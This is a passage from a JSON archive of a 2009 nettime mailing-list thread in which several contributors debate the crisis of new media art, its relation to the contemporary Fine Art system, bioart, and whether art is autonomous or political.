USA, Germany\nand England, with people who are anxious not to pollute Fine Art\nwith applied or sociocultural practices they hate and detest as\nnon-artistic [1].).\n\nFlorian\n\n\n[1] a good example would be Berlin's K\u00fcnstlerhaus Bethanien, a renown\ncontemporary arts space, whose director Christoph Tannert bitterly\nfights a group of squatters and their sociocultural center in his own\nbuilding. \n\n\n\n-- \nblog:     http://en.pleintekst.nl\nhomepage: http://cramer.pleintekst.nl:70\n          gopher://cramer.pleintekst.nl\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00068",
                                "date": "Sat, 23 May 2009 02:05:03 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "20090523000503.GA17293 {AT} hp.localdomain",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00068.html",
                                "content-type": "text/plai",
                                "author_name": "Florian Cramer",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "Renee Turner <geuzen {AT} xs4all.nl>",
                                "content": "\nHi Florian,\n\nMy apologies for a slightly delayed response. I completely agree that\nthere are aspects within the art world which need critical scrutiny. I\nwas simply asking for specificity, and I appreciate that you've taken\nthe time to clarify.\n\n> But unlike other culture industries, the contemporary (Fine) Art\n> system often falsely believes in its own autonomy.\n\nI wonder if this is true. Feminist/post colonial practices have often\nargued the opposite and with much efficacy. Think of Jean Fisher's\ncritical texts, Adrian Piper's work and Lucy Lippard's writing and\ncuratorial projects and even the recent educational department at\nGoldsmiths of Irit Rogoff; all of these practices seem to point to an\nart world/system which is political, embodied and implicated.\n\n> And it's my general experience and opinion that the art I'm\n> more interested in is more often than not to be found in places\n> outside that system. In the 1960s, this was true for Fluxus and\n> Situationism, in the 1970s and 1980s for the Mail Art Network and\n> postpunk, and in the 1990s for Net.art, the Luther Blissett project\n> or the alternative pornography movement.\n\nI'm also interested these movements, practices, antics/pranktics,\nbut unlike you, I see them as a part of a complex and multifaceted\nart world (not outside of it). I find it problematic to define the\nsystem as only popular art mags, the market and large institutions\nwhen there's so much other interesting work going on. (not to mention,\nhow would you classify those of us involved in art education?)\n\n> Today, to speak in terms of our both hometown Rotterdam, I'm finding\n> the interesting contemporary arts at places like WORM and De Player\n> and only rarely at Witte de With, for example.\n\nYes, here we can look into specific curatorial approaches and talk\nabout who these various institutions and orgs are addressing. (this\ntakes more time than I have now... but I'm nonetheless interested in\nexploring this further at a later juncture) >> > Indeed. It's just\nthat the particular art world I mentioned above > - and which can\nbe roughly described as the art world of the many > biennials, the\nDocumenta, contemporary art spaces like PS.1 and KW, > contemporary\nart journals like October, Texte zur Kunst, Springerin > and\nMetropolis M, too often monopolizes the term \"art\" for the art > that\nit represents. Admittedly, its system can be permissive and > include\n'outside' practices, particularly when a curatorial subject > requires\nit. However, it would be possible to map the institutions > mentioned\nabove just by the overlap of the people they involve, > and come up\nwith a fairly good representation of what makes up > contemporary art.\n\nI agree, this *is* truly the crux.  It's crucial to map the overlap of  \npeople/institutions and ask ourselves who's setting the agenda, who's  \ncontrolling the funding and whose *corner* of art world is being  \nrepresented, and moreover, what do these representations make  \nimpossible, meaning what do they render invisible.\n\n\n> They same is true, no doubt, if you take ars electronica,\n> transmediale and ISEA, plus Leonardo, Neural, Rhizome and Nettime,\n> ZKM and ICC Tokyo, and pin down the system \"media art\". But just\n> as that latter system is now being - deservedly - questioned and\n> undergoing a huge if not terminal structural crisis, I think it is\n> as legitimate to question the contemporary Fine Art system, and the\n> Western concept of autonomous art.\n\nIt's absolutely legitimate to question art's autonomy, and it's been\nhappening for some time now. Besides the previous examples listed\nabove, recently there has been much debate about the proliferation of\nbiennials how art feeds into a neoliberal agenda.\n\n> So, going back to Geert's initial report about the discussion about\n> the crisis of \"Media Art\" at Montevideo Amsterdam, I think that it\n> can't be a solution to integrate a very questionable \"media art\"\n> system into an equally questionable contemporary art system. [As it\n> is now happening, in education, too, for example in the Zurich art\n> school media department where Felix Stalder teaches, and where the\n> media programme has been rolled back into Fine Art on the Master\n> level.]\n\nIn many respects this cycle has happened to photography (remember\nwhen John Tagg wrote that no history of art photography could be\nwritten without taking into account, pornography, daguerreotypes,\npropaganda and family snapshots.) Or video's roots in activism,\nhome videos, street journalism (Martha Rosler's essay: Shedding the\nUtopian Moment).... there's much to learn from these histories of\nassimilation. It's important to look at how institutionalization\n\"tames\" media...disciplines the discipline. But while questioning the\nsystems of Fine Art, Media Art etc, I think as producers, viewers,\neducators and implicated accomplices, it's imperative to ask what do\nwe want to see happen or change.\n\nAs a graduate student in the eighties, I was taught by Harmony\nHammond, a painter and co-founder of Heresies. In her painting\nclass, she reserved time to present her personal collection of\nartists' works she felt were under-represented by the mainstream art\nworld. It was a small but extremely powerful gesture. Eventually, in\n2000 the collection was published under the title, Lesbian Art in\nAmerica: A Contemporary History. I learned much from Harmony, but\nthe most influential part of her teaching was watching her practice\n*otherwise*.\n\nSo in this context, I'm asking myself how can I/we practice\n*otherwise* and how might that *doing* nudge or broaden the scope of\ndominant discourses and visual regimes.\n\nbest,\n\nRenee\nhttp://www.geuzen.org/\nhttp://www.fudgethefacts.com/\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00075",
                                "date": "Mon, 25 May 2009 13:37:41 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "20C7E909&#45;1381&#45;4CB2&#45;963B&#45;40479902EC2E {AT} xs4all.nl",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00075.html",
                                "content-type": "text/plai",
                                "author_name": "Renee Turner",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            }
                        ],
                        "from": "lorian Cramer <fc-nettime {AT} pleintekst.nl>",
                        "content": "\nOn Monday, May 11 2009, 21:29 (+0200), Geert Lovink wrote:\n\n> While society at large is inundated with (new) media, the art branch  \n> that deals with the digital moved itself in a ghetto. \n\nThis is too true, and that branch has to reinvent itself from scratch\nor it will collapse very soon (if it isn't already collapsing). But it\ngoes for the entire \"new media\" field, including academic new media\nstudies which have used up their credit within the humanities. It's\nalready happening in arts education where famous media art schools\nhave been rolled back or integrated into Fine Art courses.\n\nIt's not even a question of too narrow technological focus, but one\nof perceived artistic quality. Historically, \"media art\" has been\na tactical alliance between radical artists from Nam June Paik to\nubermorgen.com and high tech academic research lab art that has no\nwhatsoever contemporary art credits. From the late 60s to today, one\nhand washed the other - the former brought the artistic credibility,\nthe latter the money and infrastructure. Festivals like STRP or ars\nelectronica perfectly illustrate it. However, the research lab art,\nparticularly in the form of \"interactive installations\", has always\ndominated the field in sheer mass, quantity and visibility. A visitor\nwho would visit an arbitrary new media festival with an interest\nin contemporary art would see, first and most of all, preposterous\nmachine parks. Or, in friendlier terms, it's the kind of art that\nrather belonged, as an educational or aesthetic gimmick, into a museum\nof technology than into a contemporary art discourse.\n\nHowever, I find it hard to get past a certain attachment to the\n\"media art\" ghetto because it tends to combine the very worst (even\npainfully, unspeakably stupid and monstrously worst) with - IMO - the\nvery best to be found in contemporary art. Ubermorgen are an excellent\nexample, needless to drop further names here. And I'm afraid that\nabandoning that ghetto, although it's theoretically the right thing to\ndo, will in the end result in even greater collateral damage.\n\nSince the 1990s, the so-called Fine Arts do provide no really\ndesirable environment either, likely they're even worse. It is telling\nenough that the term \"Fine Art\" suddenly has become a universally\naccepted standard while, not a long time ago, any self-respecting\ncontemporary artist would have fiercely rejected if not opposed it. In\nthe past ten years of reading contemporary art magazines or visiting\nart biennales and Documentas, I've been flabbergasted by the lack\nof vision and radicalism in this field. It has morphed, somewhat\ncomparable to New (composed) Music after the 1960s, into an academic\ndiscourse ruled by a neo-bourgeois jet set of hipster curators posing\nas cultural theorists on the basis of a not-even-half-baked knowledge\nand recycling of postmodern philosophy and cultural studies. The\nsystem consists of artists who have been academically trained to\nproduce works - along with non-understood theory lingo - that fit the\nrequired curatorial buzz. Along with this development, the paradigm of\nthe white cube and art works as good-looking exhibition objects has\nbecome stronger than ever before and rules out any art practice not\nfitting this format. All the while, the system thrives on the delusion\nthat it still represents visual art as a whole although, unlike, for\nexample, in film where 'highbrow' and 'lowbrow' still coexist, its\npopular forms like comic books, tattoos, fantasy figurines, t-shirt\nillustrations, wildlife paintings... have long been excluded from its\nsystem.\n\nI dare to claim that under \"saner\" conditions, no Documenta and\nno Biennale curator would get around artists like ubermorgen or\nthe Yes Men, just like no Documenta curator got around Beuys in\nthe 1970s and 80s. Instead, we get artists like Mike Kelley all\nover the art world in whose work I'm either not getting something\nor indeed seeing the Emperor's new clothes. (\"Review\" babble like\nhttp://www.frieze.com/issue/article/tomorrow_never_comes1/ affirms the\nsuspicion that the art world has no clue either.)\n\n\n> Director Heiner Holtappels opened by noticing that new media art    \n> is not easily accepted by fine art. Traditional art has become      \n> eclecticism. According to Heiner, all art is technology based.      \n\nThis is true, yet contemporary art has mostly given up on reflecting\nits media. [I can almost hear an iPhone-wearing curator saying that\nreflecting one's media is outmoded modernism.] It's most obvious in\nthe way video installations have become its mainstream format, in the\nform of video loops shown in booths inside exhibition spaces. Video\nis just taken as a documentary TV or wannabe-cinematic format, as if\nradical video art from Paik to Infermental had never happened. (It\nseems as if most contemporary artists actually don't know it anymore\nwhich is comparable to painters no longer knowing about abstract\npainting.) One should perhaps advise Montevideo just not to leave its\nvideo art roots behind.\n\n-F\n \n\n-- \nblog:     http://en.pleintekst.nl\nhomepage: http://cramer.pleintekst.nl:70\n          gopher://cramer.pleintekst.nl\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00044",
                        "date": "Thu, 14 May 2009 22:28:59 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "20090514202859.GR3919 {AT} hp.localdomain",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00044.html",
                        "content-type": "text/plai",
                        "author_name": "Florian Cramer",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
                    {
                        "from": "\"jo van der spek\" <jo {AT} xs4all.nl>",
                        "content": "<citaat van=\"Geert Lovink\">\n\n>Activism doesn't need more exposure and transparency.\n\nI agree, the obsession with media by activists is killing activism and\n(re)producing mirrors of narcism, aka transparency....\n\n>Art doesn't need moral outcry.\n\nIt does not NEED it, but some kinda passion is imho an important\ngenerator. This passion can be questioned, exposed or reflected on. That\nis why I agree with you that\n\n> Art questions and creates new spaces for reflection.\n\n> What's required are slow spaces.\nYes, but why not also new confrontations, new dynamics, tactics, etc?\nAnd indeed, why not reflect on morality as well?\n\nJo van der Spek\nm2m.streamtime.org\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00041",
                        "date": "Wed, 13 May 2009 17:27:22 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "bf52c99418bbb8757768c613a1030548.squirrel {AT} webmail.xs4all.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00041.html",
                        "content-type": "text/plai",
                        "author_name": "jo van der spek",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
                    {
                        "follow-up": [
                            {
                                "follow-up": [
                                    {
                                        "from": "ben.craggs {AT} fastmail.f",
                                        "content": "\n> what i am always wondering about is why the media arts field is so\n> concerned with its media. is dealing with \"new media\" or \"old media\"\n> an excuse for making good or bad art? IMO defining art by its media\n> is on the same level as defining art by its subject. not getting\n> over these definitions will result in a ghetto-situation sooner or\n> later. the problem -IMHO- is not that media art is not recognized\n> by the fine art world but that the fine art world is dealing with\n> other subjects. when was the last big exhibition dealing solely\n> with \"painting\" or \"sculpture\" you've seen? ars electronica and the\n> others are doing that every year: \"new media art\" with changing\n> subtitles.\n\n <...>\n\nAn interesting addition to this would be the emergence of 'New, new\nmedia arts'. I am thinking here, of practices in the field currently\ndefining itself as bioart. Here the medium that is being manipulated\nis a form of living or sem-living matter, or tissue. Bioartist,\nEduardo Kac and curator Jens Hauser have sought to specifically\nidentify this new art practice, expressly on the basis of the medium\nitself. Bioarts, they argue, are most definitely are not those works\nthat take bios or a form of life, as a subject, but manipulate it as a\nmedium. That said, the manipulation of living tissue can be executed\nthrough a number of divergent practices, specific technologies, and it\nis these that seem to be defined by some as the media, not the living\ntissue they manipulate. I guess a somewhat simplistic comparison\nwould be between with identification of various 'digital media' in\nabstraction from the advances in computer technology on which they are\nbased.\n\nMy current work in the field of bioart is increasingly\npushing me towards a frustration at the distinction between\nart/science/media/technology/old/new that recurs in the majority of\nliterature, and if I am not wrong seems to predicate this current\ndiscussion. In the light of these new practices I have been working\ntowards re-imagining what art and media are in themselves, as\ntechnologies and processes not as distinct practices - the specific\nmedia or declared purpose seem less relevant from this perspective. So\nI wonder whether 'meaning is present in all works, to varying degrees,\nregardless of how they might be appropriated by culture' could be\nextended beyond a simple valorisation of art.\n\nIt also seems that those new media theorists, such as Manovich and\nBaudrillard are somewhat restricted in their approach in that new\nmedia is perceived in a somewhat teleological sense, newness for\nthe sake of newness, with new theories to match new media - without\nasking what is actually recurring in new media. IMO it seems that\nmost new media, are really just old media anyway, particularly so in\nbioart. Is the creative growth of tissue not what we do continually\nas part of our natural bodily processes? Would it be facetious\nthen to ask whether all media be considered from this originary\nperspective, negating the discussions about relative newness or\ncultural categorization (ie i's art, it's science, it's technology,\nit's media).\n\nBen\n\n\n\n-- ---------\n  Ben Craggs\n  07868 273 360\n---------------\n  http://www.digitalscribblings.org/forums\n  A place for academic discussion, networking and general postgraduate procrastination!\n---------------------------------------------------------------------------------------\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00053",
                                        "date": "Mon, 18 May 2009 08:42:05 +0100",
                                        "to": "\"NetTime Mailing List\" <nettime-l {AT} kein.org>",
                                        "message-id": "1242632525.29400.1315956661 {AT} webmail.messagingengine.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00053.html",
                                        "content-type": "text/plai",
                                        "author_name": "ben . craggs",
                                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                                    },
                                    {
                                        "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                                        "content": "\nRama Hoetzlein wrote:\n\n> New media art should be defined from an art-philosophical\n> perspective. In this view, meaning is present in all works, to\n> varying degrees, regardless of how they might be appropriated\n> by culture. At what time in history was art not appropriated by\n> culture? None the less, people continued to create art. The process\n> of art-making is one of creating meaning, and this relation between\n> the artist and the work is not changed despite how the object is\n> ultimately appreciated, used, or abused by culture.\n\nIt's great to read such a fundamental comment. I shall add something.\nMy viewpoint includes both Tolstoy's and Baudrillard's. I find that\ninformatic art (my own off-the-cuff term, but surely better than new\nmedia) is compelling precisely when it places subjective expression\nwithin the most strongly coercive social arena of our time, namely\nthe digital networks. Your idea that there is an art-philosophical\nperspective that could exclude or bypass social determinism seems,\nbegging your pardon, somewhat naive. What is more, I think all the\ninterest of art itself disappears when it is shorn from the contexts\nof power and held up as a pure conductor of subjectivity. Approached\nin that way, the art work tends to become no more than a mirror for\nour own emotions and fantasies -- far from any state of empathy,\nEinfuhlung or whatever one chooses to call it. So I am not surprised\nthat you move from Tolstoy's fascinating quote (reproduced below) to\nthe \"relation between the artist and the work.\" I guess I am more\ninterested in, well, media: the way the work relates the artist to\nothers.\n\nHowever, your observation about new media theory (Kittler and McLuhan\nwere recently mentioned here) is spot on. What we are given from\nthe podium, over and over again, are lessons about the power of\ntechnoscientific systems. The predicament of the human singularity,\ncaught within the net of determinisms yet resisting, creating another\nreality and expressing this rather fantastic adventure through\nwhatever kind of material or semiotic medium has been chosen, is left\nout of the story, which thereby becomes a monument to the crushing\nregularity of the status quo. The same thing, of course, happens to\nresistant political action in the hands of the sociologists and the\nHeideggerean philosophers of an essential, \"historial\" alienation.\nBoth ethics and aesthetics take it on the chin.\n\nIn my view, the great inspiration for new media theory has come from\nhackers themselves, who create alternative possibilities for existence\nwithin the overwhelmingly powerful networked environment. This is why,\nin essays which are inseparably about art and technics, I tend to\nuse concepts like \"reverse imagineering\" or \"escaping the overcode.\"\nExpression, for me, is the rupture of code, an excess which does not\nabolish the labyrinth in which we are caught, but at least opens up a\npossible new path through it.\n\nThat's one approach. There could be many others. The problem, as\nyou point out, is that usually there are not, because the theory\nvery rarely meets any actual practice. The necessary discussion of\ntechnological power holds the center stage. Of course that is easier\nfor the whole \"new media\" social circuit, because then you don't have\nto think very much, or feel very much, or try very hard to find out\nwhat might be at stake in a particular work.\n\nThis list, I guess, is about the best place to talk about how to\napproach media art. Thanks to all for starting the conversation. I'm\nready for more. Let the thousand info-aesthetics bloom!\n\nbest, BH\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00054",
                                        "date": "Sun, 17 May 2009 23:32:13 +0200",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "4A10825D.6040905 {AT} wanadoo.fr",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00054.html",
                                        "content-type": "text/plai",
                                        "author_name": "Brian Holmes",
                                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                                    },
                                    {
                                        "from": "Rama Hoetzlein <rch {AT} umail.ucsb.edu>",
                                        "content": "\nBrian, thanks for your reply. In general, i'm glad to see that\nwe're mostly in agreement. Based on my observations of nettime-l,\ndisagreement is often the norm, so I'm glad to see that there is\nsome consensus between us that the new media theorists are currently\nthe only option we've been given, and that we really need some\nalternatives.. Now, for some responses.\n\n> Your idea that there is an art-philosophical perspective that could \n> exclude or bypass social determinism seems, begging your pardon, \n> somewhat naive. \n\nI'm not suggesting that art-philosophy can bypass social determinism.\nI have no illusions about the difficulty the artist faces in creating\nany real social change, since my view of art does not negate any of\nthe real research done by the media theorists. My own view is that\nthe idea of art-for-social-change is long outdated. You suggest\nthat hackers are the source of real inspiration in new media theory\nbecause they alone are able to transform the media itself, and thus\nundermine the system toward some possible escape path. Yet, there\nis no reason to believe that even if the media itself changes, that\nsociety will too. In my view, the only way we could overcome the\ncurrent technoscientific system would be due to a deep, fundamental\ntransformation in all individuals - and while I believe art is\ncapable of doing this one person at a time, I don't think any one\nartwork, hacker or otherwise, is capable of really altering the\ntechnoscientific system we find ourselves in on a global level. Thus,\nall social change we talk about now is still part of that system. This\nis the media theorist perspective, of course - which i agree with -\nbut as an artist, its incomplete.\n\nThe reason I advocate art-philosophy is for the sake of the\nindividual, and the field of art itself. While i just said the artist\nis powerless to transform culture, perhaps to a degree greater than\nmost would like, the artist is _not_ powerless to transform him or\nherself, and others which that person touches through the art..\nDespite whatever the technoscientific system may do, to create art is\nan intentional act by an individual, and thus has an immutable meaning\njust by virtue of being \"created\". We get to choose what is created\n(this does not make it good art necessarily).\n\nThat meaning is present in all work \"to varying degrees\". By this, i\nmean that we each have a unique relationship to our artwork. For some,\nit is a mirror of personal emotions and fantasies (and probably my\nown work most of the time), while others may be able to communicate\nmore.. So, I'm not evaluating art. Some is good, some is not. However,\nhaving an art-philosophical does not automatically reduce our works to\nemotional fantasies. In fact, it is more likely to result in genuinely\nempathetic works since it creates a solid foundation for art based on\na philosophy in which art is encouraged to be empathetic, rather than\nresponsive to a system.\n\nI'm simply stating -- which I think we perhaps both agree with here --\nthat so far we have not been given any other alternative view of new\nmedia art other than that proposed by the new media theorists. The way\nout of this problem is, I believe, through a philosophy of art whereby\nthe artist has full awareness of the problems of society (hopefully),\nyet continues to create works of art despite this. It is possible to\nhave no illusions about the inability of art to bring about explicit\nsocial change, but understand that it can bring implicit change\nthrough individual communication.\n\n-rama\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00052",
                                        "date": "Sun, 17 May 2009 17:24:51 -0700",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "4A10AAD3.1010309 {AT} umail.ucsb.edu",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00052.html",
                                        "content-type": "text/plai",
                                        "author_name": "Rama Hoetzlein",
                                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                                    },
                                    {
                                        "from": "carlos katastrofsky <carlos.katastrofsky {AT} gmail.com>",
                                        "content": "\n> The way out of this problem is, I believe, through a philosophy of\n> art whereby the artist has full awareness of the problems of society\n> (hopefully), yet continues to create works of art despite this.\n> It is possible to have no illusions about the inability of art to\n> bring about explicit social change, but understand that it can bring\n> implicit change through individual communication.\n>\n\nbut can \"change\" be a parameter for art? what is to be changed through\nart? i agree that a \"change\" in whatever direction is possible but\nIMHO art mustn't be reduced to it. to me art is also someting i can\nadmire without thinking of having to change something. in fact even\nif i see some really good \"political art\" the first step is to admire\nit (wow, great work) and then to think about consequences. art is\nsomething autonomous. to me such an approach would free it from being\na mere form of communication, a medium, or \"new media art\". but at the\nsame time it can be all of that.\n\nbest,\ncarlos\n\n\n-- \nhttp://katastrofsky.cont3xt.net\nhttp://cont3xt.net\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00058",
                                        "date": "Mon, 18 May 2009 16:11:26 +0200",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "fb9095bf0905180711m6cd209adt9b6435753d81770a {AT} mail.gmail.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00058.html",
                                        "content-type": "text/plai",
                                        "author_name": "carlos katastrofsky",
                                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                                    },
                                    {
                                        "from": "Rama Hoetzlein <rch {AT} umail.ucsb.edu>",
                                        "content": "\nexactly.. even if we are fully unconcerned with political art, when\nyou say \"wow, great work\", thats just and only what i mean by implicit\nchange (you are changed).. art is autonomous here because, while the\nwork may or may not be political, this implicit change defines only\nthe meaning-relation between the artist, the work, and the viewer.\nAnd that relationship is established independent of the impact of\nmedia on society, i.e. politics. A philosophy of art should provide a\nfoundation for complete autonomy, and this is done by observing that\nthe basis of art is creating and appreciating.. keeping in mind that\ntheory only gets you so far as an artist.\n\nrama\n\ncarlos katastrofsky wrote:\n> but can \"change\" be a parameter for art? what is to be changed through\n> art? i agree that a \"change\" in whatever direction is possible but\n> IMHO art mustn't be reduced to it. to me art is also someting i can\n> admire without thinking of having to change something. in fact even if\n> i see some really good \"political art\" the first step is to admire it\n> (wow, great work) and then to think about consequences. art is\n> something autonomous. to me such an approach would free it from being\n> a mere form of communication, a medium, or \"new media art\". but at the\n> same time it can be all of that.\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00057",
                                        "date": "Mon, 18 May 2009 10:11:25 -0700",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "4A1196BD.3060002 {AT} umail.ucsb.edu",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00057.html",
                                        "content-type": "text/plai",
                                        "author_name": "Rama Hoetzlein",
                                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                                    },
                                    {
                                        "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                                        "content": "carlos katastrofsky wrote:\n\n > if i see some really good \"political art\" the first step is to admire\n > it (wow, great work) and then to think about consequences. art is\n > something autonomous. to me such an approach would free it from being\n > a mere form of communication, a medium, or \"new media art\". but at the\n > same time it can be all of that.\n\nWhat does one admire a piece of art? What is its autonomy?  And what could\nbe its consequences? I have asked myself these questions for years. Like\nmost thinking people, I have come to a few conclusions. And since I like\nthe idea that art can be \"all of that\" - a form of communication, a medium,\nnew media art - I would like to share these conclusions with you.\n\nHumans are excessively complex by nature, and inherently social. We are\ndefined by the surfeit of symbolic activity that goes on in our brains and\nindeed, in our full sensorium, and that comes out not only from our mouths\nbut in all sorts of gestures and postures and practices directed toward the\nsenses and symbolizing activities of others. A long anthropological\ntradition running from Sapir through Levi-Strauss to Sahlins holds that\nso-called \"primitive\" societies are no less complex than modern ones: their\nlanguages show comparable range and variety, but are (according to\nLevi-Strauss) oriented differently, more concrete in one case, more\nabstracted in the other. There is so much going on in any human being and\nbetween any group of human beings that just ordering or harmonizing all\nthis excessive symbolization - I mean, excessive over what the utilitarians\nthink of as the simple quest for satisfaction or corporeal pleasure -\nbecomes a problem in itself. Because madness always lurks on the edges of\nour reeling imaginations, and then there is also depression, or anger, or\njealousy, or prejudice or extreme paranoia, indeed a great number of\nobscure problems that can disrupt the life of the one and of the many.\n\nReligion has been the great social technique for bringing all this roiling\nthought, expression and sensation into some kind of predictable pattern and\nharmony, constituting entire narrative and figural universes, with their\nbuilt environments, rituals, music, poetry, smells, tastes, etc, all\nassociated and carefully correlated with orders of kinship, canons of\nsexuality, responsibilities of care, expressions of tenderness,\ncommandments, prohibitions and the like. What we now call art, as it\ngradually detached itself from religion and became a series of aesthetic\ntraditions interpretable and modifiable by individuals - as it became\nautonomous in other words - seems to have taken on the role of being the\nsensuous and ideational mirror of the individual's proper \"fit\" with\nsociety; it became a way of continuing the vast and mostly imaginary\nconversation about the ways that the one relates to the many, and\nvice-versa.  However, this conversation was no longer necessarily about\nharmony: because depending on the very particular context, the proper \"fit\"\ncould have aspects of a \"misfit,\" and the quest for an idealized harmony\ncould involve extreme disruptions of the status quo, disruptions appearing\nboth in art and in life itself. Just think about the Antigone of Sophocles\nand you will see that this kind of problematic was not invented with the\nromantics, it goes back quite a ways.  Clearly it gets particularly intense\nin modern democracies, where we are all brought up to conceive ourselves as\nboth legislators and revolutionaries.\n\nNow, amusingly, one of the reasons I ever even bothered to think about such\ncomplex and excessive things, so far from \n\"direct political action\" and what have you, is that for \nmany years I have found myself with a certain nagging problem of getting up\nin the morning. Perhaps others have experienced this? It so happens that on\ncertain mornings I may spend as much as an hour just thinking about a\ncertain constellation of things: a group of people, an artwork, a political\nissue, a line from a song, a concept, a phrase from a book, an image, a\nrhythm. Without showing any particular signs of anxiety, insanity,\ndelirium, fever, swine flu or whatever, I still found it necessary to bring\nsuch constellations of ideas and sensations into some kind of dynamic\npattern that would lend a spring to my step, a direction to my speech, an\neffectiveness to my gestures.  Being a bit of a misfit - according to the\naforementioned tradition in the democratic societies - I had to work on\nthis question of how to fit all this in, nonetheless: how to fit into my\nown overflowing symbolic and sensate world, first of all, and how to fit\nthat world into the multitude of others with whom daily activity brings me\ninto contact.  Thus I began to think that what is pleasing, satisfying,\nattractive, intriguing, inspiring, shocking, repellent, etc in the formal\nallure of artworks is also somehow the result of other people's struggles\nwith the excess of symbolization in which they are embroiled, and that the\n\"success\" of the artwork (wow, great work) is always some variation on the\n\"infinite theme of the artist(s) trying to break out of one universe and\n\"fit into another - whether we're talking about a purely abstract universe\n\"of chromatism or rhythm, or some Hegelian quandry of historical\n\"dialectics, or the current discussion about cap and trade, or the latest\n\"dispute over the coolest tattoos in the punk or heavy-metal circle that\n\"encloses your secret passion. An aesthetic form doesn't directly solve any\n\"of the weighty social problems - but it helps get a world together, it\n\"helps structure a pattern and a dynamic and an enthusiasm, which is always\n\"a good start.\n\nSo how 'bout the politics then? Well, according to my little theory, the\npersonal is clearly both aesthetic and political, because if you can't get\nout of bed you are definitely not going to make it to the office, the\nmarch, the meeting, the voting booth, the library, or wherever your\nactivity is going to have some consequences in terms of organizing social\nrelations. What is more, this is not just my little theory, because going\nback to Plato's Republic or maybe the Rig Vedas, social thinkers have been\nvery conscious of the influence of things like music on the order and\nharmony of the community, the city, state or whatever.  Indeed, not long\nago we saw with dazzled and almost disbelieving eyes that a great\nnation-state like China could put a significant fraction of its resources\ninto organizing an aesthetic display which was not just supposed to knock\neverybody out, American style, with its overwhelming show of wealth, but\nalso and above all to enact and celebrate an ideal of harmony and societal\ncoordination which, from my anarcho-individualist viewpoint, was at once\nvastly impressive and also frankly terrifying, because here I could see an\nintensive use of all the latest, hypercomplex aesthetic techniques to knit\ntogether an order that could power a vast authoritarian economic machine\nand infuse it with the enthusiam 